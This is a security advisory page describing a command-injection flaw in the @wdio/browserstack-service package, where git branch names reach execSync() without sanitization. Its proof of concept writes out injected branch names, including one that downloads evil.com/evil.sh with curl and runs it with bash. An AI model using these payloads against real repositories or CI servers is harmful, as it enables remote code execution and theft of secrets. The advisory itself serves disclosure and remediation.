CVSS VectorNVD
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Lifecycle Timeline
3DescriptionNVD
Summary
A command injection vulnerability exists in @wdio/browserstack-service that allows remote code execution (RCE) when processing git branch names in test orchestration. An attacker can exploit this by providing a malicious git repository with a branch name containing shell command injection payloads.
Details
_Give all details on the vulnerability. Pointing to the incriminated source code is very helpful for the maintainer._
Vulnerable Code
File: https://github.com/webdriverio/webdriverio/blob/ea0e3e00288abced4c739ff9e46c46977b7cdbd2/packages/wdio-browserstack-service/src/testorchestration/helpers.ts#L204
Root Cause
User-controlled git branch names are directly interpolated into execSync() calls without sanitization. Git allows branch names to contain special characters ,that can be used for command injection. Git allows to create these branches.
git checkout -b "main;touch\${IFS}/tmp/pwned.txt;echo\${IFS}PWNED"
git checkout -b "main;rm\${IFS}/tmp/pwned.txt;echo\${IFS}PWNED"
git checkout -b "main;curl\${IFS}evil.com/evil.sh\${IFS}>/tmp/evil.sh;bash\${IFS}/tmp/evil.sh;echo\${IFS}PWNED"Attack Vector
- Attacker creates a malicious git repository with a branch name containing command injection payload
- Attacker configures WebdriverIO to use this repository via
testOrchestrationOptions.runSmartSelection.source. ifsourceis not provided it takes current directory assource. - When
getGitMetadataForAISelection()executes, it extracts the malicious branch name - Branch name is interpolated into shell commands without sanitization
- Shell interprets special characters and executes attacker's commands
PoC
Step 1: Create Malicious Repository Branch
git checkout -b "main;touch\${IFS}/tmp/pwned.txt;echo\${IFS}PWNED"Step 2: Configure WebdriverIO
// wdio.conf.js
export const config = {
services: [
['browserstack', {
user: process.env.BROWSERSTACK_USERNAME,
key: process.env.BROWSERSTACK_ACCESS_KEY,
testOrchestrationOptions: {
runSmartSelection: {
enabled: true,
source: ['/tmp/malicious-repo'] // ⚠️ Points to malicious repo, without "source" field, it runs in the current directory.
}
}
}]
],
// ... rest of config
}Step 3: Run Tests
npm run wdioStep 4: Verify RCE
# Check if file was created (proof of RCE)
ls -la /tmp/pwned.txtImpact
- Remote Code Execution on CI/CD servers or developer machines
- Information Disclosure (environment variables, secrets, credentials)
- Data Exfiltration (source code, SSH keys, configuration files)
- System Compromise (backdoor installation, lateral movement)
- Supply Chain Attack (modify build artifacts)
AnalysisAI
Command injection in @wdio/browserstack-service allows arbitrary code execution when malicious git branch names are processed during test orchestration. Attackers can craft repository branch names containing shell metacharacters that execute when the BrowserStack service's getGitMetadataForAISelection() function unsafely passes branch names to Node.js execSync() calls. …
Sign in for full analysis, threat intelligence, and remediation guidance.
RemediationAI
Within 24 hours: Inventory all projects using @wdio/browserstack-service and identify current versions in use. Within 7 days: Upgrade @wdio/browserstack-service to version 9.24.0 or later across all CI/CD pipelines and development environments. …
Sign in for detailed remediation steps.
More from same product – last 7 days
Command injection in the shell-quote npm package allows attackers who can influence object-token inputs to inject arbitr
Heap buffer overflow in NGINX Plus and NGINX Open Source ngx_http_rewrite_module allows unauthenticated remote attackers
Vendor StatusVendor
Share
External POC / Exploit Code
Leaving vuln.today
EUVD-2026-30805
GHSA-5c46-x3qw-q7j7